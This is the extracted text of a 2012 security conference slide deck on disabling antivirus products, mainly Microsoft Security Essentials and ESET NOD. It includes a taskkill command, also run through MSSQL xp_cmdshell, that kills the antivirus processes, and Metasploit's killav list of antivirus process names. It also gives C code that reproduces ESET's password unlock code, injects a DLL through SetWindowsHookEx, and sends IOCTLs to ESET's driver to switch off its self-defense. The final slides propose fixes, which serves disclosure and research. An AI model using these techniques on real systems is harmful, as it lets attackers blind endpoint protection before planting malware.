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disabling andtivirus programs
Disabling Antivirus program(s) András Tevesz [email protected] 1 12. október 17., szerda Agenda • Motivation • Microsoft Security Essentials • ESET Nod • Unlocking password protection • Defeating self protection • • Changing the rules Possible solutions 2 12. október 17., szerda Microsoft Security :) Essentials • Defeating MSSE • taskkill /f /im msseces.exe /im MsMpEng.exe • MSSQL: • EXEC xp_cmdshell 'taskkill /f /im msseces.exe /im MsMpEng.exe' ; GO 3 12. október 17., szerda VIDEO DEMO Disable MS SE with MS taskkill 4 12. október 17., szerda 5 12. október 17., szerda 6 12. október 17., szerda AAWTray.exe Ad-Aware.exe MSASCui.exe _avp32.exe _avpcc.exe _avpm.exe aAvgApi.exe ackwin32.exe adaware.exe advxdwin.exe agentsvr.exe agentw.exe alertsvc.exe alevir.exe alogserv.exe amon9x.exe anti-trojan.exe antivirus.exe ants.exe apimonitor.exe aplica32.exe apvxdwin.exe arr.exe atcon.exe atguard.exe atro55en.exe atupdater.exe atwatch.exe au.exe aupdate.exe autoprotect.nav80try .exe autodown.exe autotrace.exe autoupdate.exe avconsol.exe ave32.exe avgcc32.exe avgctrl.exe avgemc.exe avgnt.exe avgrsx.exe avgserv.exe avgserv9.exe avguard.exe avgw.exe avkpop.exe avkserv.exe avkservice.exe avkwctl9.exe avltmain.exe avnt.exe avp.exe avp.exe 12. október 17., szerda msf/scripts/ meterpreter/killav.rb avp32.exe avpcc.exe avpdos32.exe avpm.exe avptc32.exe avpupd.exe avsched32.exe avsynmgr.exe avwin.exe avwin95.exe avwinnt.exe avwupd.exe avwupd32.exe avwupsrv.exe avxmonitor9x.exe avxmonitornt.exe avxquar.exe backweb.exe bargains.exe bd_professional. exe beagle.exe belt.exe bidef.exe bidserver.exe bipcp.exe bipcpevalsetup.e xe bisp.exe blackd.exe blackice.exe blink.exe blss.exe bootconf.exe bootwarn.exe borg2.exe bpc.exe brasil.exe bs120.exe bundle.exe bvt.exe ccapp.exe ccevtmgr.exe ccpxysvc.exe cdp.exe cfd.exe cfgwiz.exe cfiadmin.exe cfiaudit.exe cfinet.exe cfinet32.exe claw95.exe claw95cf.exe clean.exe cleaner.exe cleaner3.exe cleanpc.exe click.exe cmd.exe cmd32.exe cmesys.exe cmgrdian.exe cmon016.exe connectionmonito r.exe cpd.exe cpf9x206.exe cpfnt206.exe ctrl.exe cv.exe cwnb181.exe cwntdwmo.exe datemanager.exe dcomx.exe defalert.exe defscangui.exe defwatch.exe deputy.exe divx.exe dllcache.exe dllreg.exe doors.exe dpf.exe dpfsetup.exe dpps2.exe drwatson.exe drweb32.exe drwebupw.exe dssagent.exe dvp95.exe dvp95_0.exe ecengine.exe efpeadm.exe emsw.exe ent.exe esafe.exe escanhnt.exe escanv95.exe espwatch.exe ethereal.exe etrustcipe.exe evpn.exe exantiviruscnet.exe exe.avxw.exe expert.exe explore.exe f-agnt95.exe f-prot.exe f-prot95.exe f-stopw.exe fameh32.exe fast.exe fch32.exe fih32.exe findviru.exe firewall.exe fnrb32.exe fp-win.exe fp-win_trial.exe fprot.exe frw.exe fsaa.exe fsav.exe fsav32.exe fsav530stbyb.exe fsav530wtbyb.exe fsav95.exe fsgk32.exe fsm32.exe fsma32.exe fsmb32.exe gator.exe gbmenu.exe gbpoll.exe generics.exe gmt.exe guard.exe guarddog.exe hacktracersetup. exe hbinst.exe hbsrv.exe hotactio.exe hotpatch.exe htlog.exe htpatch.exe hwpe.exe hxdl.exe hxiul.exe iamapp.exe iamserv.exe iamstats.exe ibmasn.exe ibmavsp.exe icload95.exe icloadnt.exe icmon.exe icsupp95.exe icsuppnt.exe idle.exe iedll.exe iedriver.exe iexplorer.exe iface.exe init.exe intdel.exe intren.exe iomon98.exe istsvc.exe jammer.exe jdbgmrg.exe jedi.exe kavlite40eng.exe kavpers40eng.exe kavpf.exe kazza.exe keenvalue.exe kerio-pf-213-enwin.exe kerio-wrl-421-enwin.exe kerio-wrp-421-enwin.exe kernel32.exe killprocesssetup1 61.exe launcher.exe ldnetmon.exe ldpro.exe ldpromenu.exe ldscan.exe lnetinfo.exe loader.exe localnet.exe lockdown.exe lockdown2000.exe lookout.exe lordpe.exe lsetup.exe luall.exe luau.exe lucomserver.exe luinit.exe luspt.exe mapisvc32.exe mcagent.exe mcmnhdlr.exe mcshield.exe mctool.exe mcupdate.exe mcvsrte.exe mcvsshld.exe md.exe mfin32.exe mfw2en.exe mfweng3.02d30.exe mgavrtcl.exe mgavrte.exe 7 mghtml.exe mgui.exe minilog.exe mmod.exe monitor.exe moolive.exe mostat.exe mpfagent.exe mpfservice.exe mpftray.exe mrflux.exe msapp.exe msbb.exe msblast.exe mscache.exe msccn32.exe mscman.exe msconfig.exe msdm.exe msdos.exe msiexec16.exe msinfo32.exe mslaugh.exe msmgt.exe msmsgri32.exe mssmmc32.exe mssys.exe msvxd.exe mu0311ad.exe mwatch.exe n32scanw.exe nav.exe navap.navapsvc.ex e navapsvc.exe navapw32.exe navdx.exe navlu32.exe navnt.exe navstub.exe navw32.exe navwnt.exe nc2000.exe ncinst4.exe ndd32.exe neomonitor.exe neowatchlog.exe netarmor.exe netd32.exe netinfo.exe netmon.exe netscanpro.exe netspyhunter-1.2. exe netstat.exe netutils.exe nisserv.exe nisum.exe nmain.exe nod32.exe normist.exe norton_internet_s ecu_3.0_407.exe notstart.exe npf40_tw_98_nt_me _2k.exe npfmessenger.exe nprotect.exe npscheck.exe npssvc.exe nsched32.exe nssys32.exe nstask32.exe nsupdate.exe nt.exe ntrtscan.exe ntvdm.exe ntxconfig.exe nui.exe nupgrade.exe nvarch16.exe nvc95.exe nvsvc32.exe nwinst4.exe nwservice.exe nwtool16.exe ollydbg.exe onsrvr.exe optimize.exe otfix.exe outpost.exe outpostinstall.ex e outpostproinstall .exe padmin.exe panixk.exe patch.exe pavcl.exe pavproxy.exe pavsched.exe pavw.exe pccwin98.exe pcfwallicon.exe pcip10117_0.exe pcscan.exe pdsetup.exe periscope.exe persfw.exe perswf.exe pf2.exe pfwadmin.exe pgmonitr.exe pingscan.exe platin.exe pop3trap.exe poproxy.exe popscan.exe portdetective.exe portmonitor.exe powerscan.exe ppinupdt.exe pptbc.exe ppvstop.exe prizesurfer.exe prmt.exe prmvr.exe procdump.exe processmonitor.ex e procexplorerv1.0. exe programauditor.ex e proport.exe protectx.exe pspf.exe purge.exe qconsole.exe qserver.exe rapapp.exe rav7.exe rav7win.exe rav8win32eng.exe ray.exe rb32.exe rcsync.exe realmon.exe reged.exe regedit.exe regedt32.exe rescue.exe rescue32.exe rrguard.exe rshell.exe rtvscan.exe rtvscn95.exe rulaunch.exe run32dll.exe rundll.exe rundll16.exe ruxdll32.exe ESET NOD 5.x Self Defense Methods • Registry Access/Modification Protection • Kernel driver and ioctl protection • Process access protection • Service protection 8 12. október 17., szerda Registry Protection 9 12. október 17., szerda Device Driver IOCTL Access Protection 12. október 17., szerda EKRN Service and GUI process protection 12. október 17., szerda Process Protection 12. október 17., szerda Password protection 13 12. október 17., szerda VIDEO DEMO Disable ESET NOD password protection with metasploit script 14 12. október 17., szerda 15 12. október 17., szerda Password unlock v3 • http://download.eset.com/special/ unlockv3.exe • Simple code • CRC32 to simplify the challenge • Writes a fix value to a pre defined key • Info\PackageID = 137 16 12. október 17., szerda Reversing unlockv3.exe 17 12. október 17., szerda Current Password unlock • http://download.eset.com/special/unlock.exe 18 12. október 17., szerda Reversing unlock.exe 19 12. október 17., szerda CRC32 table and “hash” algorithm //.rdata:0010F5A8 unsigned __int32 crc32_table [] = { 0x00000000,0x74073096,0xee0e612c,0x990951ba, 0x076dc419,0x706af48f,0xe963a535,0x9e6495a3, 0x0edb8832,0x73dcb8a4,0xe0d5e91e,0x97d2d988, 0x09b64c2b,0x7eb17cbd,0xe7b82d07,0x90bf1d91, 0x1db71064,0x6ab020f2,0xf3f97148,0x84be41de, 0x1adad47d,0x6ddde4eb,0xf4d4b551,0x83d385c7, 0x136c9856,0x646ba8c0,0xadd2f97a,0x8a65c9ec, 0x14015c4f,0x63066cd9,0xfa0f3d63,0x8d080df5, 0x3b6e20c8,0x4c69105e,0xf56041e4,0xa2677172, 0x3c03e4d1,0x4b04d447,0xd20d85fd,0xa50ab56b, 0x35b5a8fa,0x42b2986c,0xdbbbc9d6,0xacbcf940, ... 0x3f3f3f3f,0x3f3f3f3f,0x3f3f3f3f,0x3f3f3f3f, 0x3f2e3f3f,0x203f323f,0x00000000}; int index =0; volatile unsigned __int32 ret = ~flag; if (len) { do { unsigned __int32 c = data[index]; unsigned __int8 o = ret ^ data[index]; ret = crc32_table[o] ^ ((unsigned int)ret >> 8); index++; } while ( index < len ); } return ~ret; the data is modified because it is currently not fixed 20 12. október 17., szerda Unlock code generation char computer_name[256]; DWORD SectorsPerCluster = 0; DWORD BytesPerSector = 0; DWORD NumberOfFreeClusters = 0; DWORD TotalNumberOfClusters = 0; DWORD nSize = 256; char number[256]; memset (number, 0, sizeof(number)); GetComputerNameA(computer_name, &nSize); // get computer name unsigned __int32 ret1 = check(computer_name,nSize, -‐1); // hash computer name GetDiskFreeSpaceA("c:\\", &SectorsPerCluster, &BytesPerSector, &NumberOfFreeClusters, &TotalNumberOfClusters); // get disk data unsigned __int32 ID = (SectorsPerCluster + BytesPerSector + TotalNumberOfClusters) ^ ret1; // calculate the ID printf( "ID: %u\n",ID); sprintf(number,"%u",ID); unsigned __int32 CODE = check(number, strlen(number), ID); // calculate the CODE printf("CODE: %u\n", CODE); return ret3; 21 12. október 17., szerda Unlock summary • • • • • • • client side code generation client side code validation client side reproduction of the response code missing license validation reusable response code missing timeout support easy reproduction of the response code 22 12. október 17., szerda Defeating ESET NOD Self defense • ESET process protection • ESET kernel protection • Digital signature validation • Injection into signed and trusted process 23 12. október 17., szerda VIDEO demo change an exclude rule 24 12. október 17., szerda 25 12. október 17., szerda Simple Injection HOOKPROC hkprcSysMsg; static HINSTANCE hinstDLL; static HHOOK hhookSysMsg; printf("hooking GetMsgProc in eset smart installer ...\n"); hinstDLL = LoadLibrary(TEXT("inject.dll")); hkprcSysMsg = (HOOKPROC)GetProcAddress(hinstDLL, "GetMsgProc"); hhookSysMsg = SetWindowsHookEx( WH_GETMESSAGE, hkprcSysMsg, hinstDLL, 0); • Simple, reliable standard • API to inject DLL into any SetWindowsHookEx process’s address space 26 12. október 17., szerda Disable ESET self defense /* 0x18FDCC 1 637 836 <-‐ in 4 byte value :4 0x18FDD0 1 637 840 <-‐ out 12 byte 0x18FDD4 1 637 844 <-‐ out 8 byte 0x18FDD8 1 637 848 <-‐ out 4 byte 0x18FDDC 1 637 852 <-‐ in 10 byte */ struct _OVERLAPPED Overlapped; memset(&Overlapped,0,sizeof(Overlapped)); HANDLE ehdrv_handle = CreateFile("\\\\.\\ehdrv",GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING,FILE_FLAG_OVERLAPPED| FILE_ATTRIBUTE_NORMAL, NULL); if(ehdrv_handle == INVALID_HANDLE_VALUE) { LOG ("Filed to open ehdrv file\n"); return; } LOG ("CreateFile ehdrv\n"); int buffer[4]; // 4*4 byte memset(buffer,0,sizeof(buffer)); buffer[0] = 4; DWORD ret = 0; DeviceIoControl ( ehdrv_handle, 0x002224c3, buffer, 4, &buffer[1], 4*3, &ret, &Overlapped); buffer[0] = 9; buffer[1] = ret; DeviceIoControl ( ehdrv_handle, 0x002224c3, buffer, 4*4, &buffer[2], 4*2, &ret, &Overlapped); DeviceIoControl ( ehdrv_handle, 0x002224c3, buffer, 4*4, &buffer[2], 4, &ret, &Overlapped); 27 12. október 17., szerda Self defense summary • Selective or whitelist based process protection • Partial or image based digital certificate validation 28 12. október 17., szerda Possible Solutions for self defense • Protect all ESET signed process/image • Validate all loaded modules in the process 29 12. október 17., szerda RSA based response code generation • sign request with a generated user key • send request to ESET HQ • validate request (license validation) • send a signed response to the user • ESET NOD should accept and verify only valid and signed responses 30 12. október 17., szerda RSA encrypted password • Store the password encrypted with an RSA public key • Send it to the ESET HQ for decryption with the private key 12. október 17., szerda Crypto api check trusted image • • • • • CryptQueryObject • CERT_QUERY_CONTENT_FLAG_PKCS7_SIGNED_E MBED CryptMsgGetParam CryptDecodeObject • SPC_SP_OPUS_INFO_OBJID CertFindCertificateInStore GetTimeStampSignerInfo 32 12. október 17., szerda Validate all modules • CreateToolhelp32Snapshot • Module32First, Module32Next • OpenProcess • EnumProcessModulesEx • LIST_MODULES_ALL 33 12. október 17., szerda ESET signed binaries • protect all ESET signed binaries 34 12. október 17., szerda Q&A 35 12. október 17., szerda
